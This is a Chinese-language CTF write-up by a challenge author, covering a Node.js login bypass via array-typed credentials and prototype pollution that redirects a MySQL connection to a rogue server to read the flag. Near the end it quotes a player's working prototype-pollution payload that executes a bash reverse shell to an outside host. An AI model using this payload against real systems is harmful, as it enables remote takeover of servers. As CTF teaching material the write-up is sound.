一道有趣的關於nodejs的ctf題

首先,出題背景是公司要求我出一道簡單的ctf題目,正好我最近在學習nodejs相關的東西,於是我就出了這道題目,題目源碼,我已經打包上傳到了GitHub上,地址是: https://github.com/niexinming/prototype_pullotion/
如果有興趣,可以下載下來,研究一下

這個題目開局是一個登陸頁面
在這裏插入圖片描述

在這裏你會想到什麼呢?爆破?nononono~
你要想到的是這是一道nodejs的題目啊,js本身就是一種弱類型語言,所以,你可以改變數據類型,來看看它會不會產生非預期的效果,你可以參考我以前翻譯的過的文章
https://blog.csdn.net/niexinming/article/details/84889275

這篇文章中就介紹如何通過改變數據類型來繞過登錄,所以,這個題目通過如下的方式就可以繞過登錄:
首先抓包:
在這裏插入圖片描述

然後,修改用戶名密碼爲數組,因爲用戶名和密碼都是數組的第一個,所以只要把用戶名和密碼改成
{“user”:[0],“passwd”:[0]},就可以繞過登錄

在這裏插入圖片描述
繞過登錄之後,發現有一個地址,打開這個地址:http://106.75.10.182:3000/kfhkhkdsdshalkhkhaklhlahlkkhdfklhhjkhgdajgfhjaghghjasgfjh//jflkdsajklfjsakljfjkhkjhdsfgasdyuuyueuwguguiuidgffddjfj.js
發現是nodejs後端的源碼:
在這裏插入圖片描述
可以看到這個題目可以通過控制host參數去改變mysql的連接地址,這裏有個mysql客戶端任意文件讀取的問題,可以參考這個文章:https://blog.csdn.net/ls1120704214/article/details/88174003

但是如果直接在json中傳遞{“host”:””},根本不會有任何效果,因爲我在57行寫了過濾

if (body.host != undefined) {

如果發現有直接傳遞進來的host參數,nodejs就報錯退出,所以,通過仔細觀察源代碼,發現這個代碼有參數污染問題,關於參數污染,可以參考這篇文章:
https://www.4hou.com/technology/16328.html
所以就可以通過構造如下參數去改變host參數,把host參數變成我們自己mysql服務器的地址
首先,我要先把我服務器中的Rogue-mysql-Server 的rogue_mysql_server.py 中的filelist改成flag的地址
在這裏插入圖片描述
然後啓動我的這個惡意的mysql服務器:
在這裏插入圖片描述
之後,我把host地址通過參數污染的方式改到我的這臺服務器:
在這裏插入圖片描述
發送數據包後,我的服務器中收到了一個請求:
在這裏插入圖片描述
然後,去查看日誌,就會看到flag

在這裏插入圖片描述
一個小插曲,因爲我剛剛接觸nodejs,所以,沒有意識到裏面其實有很多安全問題,我在出題的過程中錯誤的使用了nodejs的模板,導致Virink師傅用一個payload就把我的服務器給打下來了(拿下了服務器的控制權),通過跟virink 的交流我也學到了很多東西,最後我兌現了我的承諾,給師傅發了一個大紅包
在這裏插入圖片描述

下面是virink的payload,發出來給大家學習

{"user":"test","passwd":"test","__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xxx.xxx.xx/6666 0>&1\"');var __tmp2"}}

後來我把這個漏洞修復了,等了兩週,再也沒有人做出來

發佈了118 篇原創文章 · 獲贊 54 · 訪問量 38萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章